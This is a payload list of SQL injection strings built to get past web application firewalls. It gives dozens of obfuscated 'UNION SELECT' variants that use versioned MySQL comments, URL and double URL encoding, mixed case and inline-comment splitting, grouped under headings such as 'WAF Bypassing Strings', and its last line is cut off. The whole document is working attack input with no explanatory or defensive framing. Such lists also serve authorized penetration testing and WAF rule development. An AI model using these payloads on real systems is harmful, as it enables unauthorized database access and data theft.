#
#
#
#WAF Bypassing Strings:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
#
#
#
#Union Select by PASS with Url Encoded Method:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7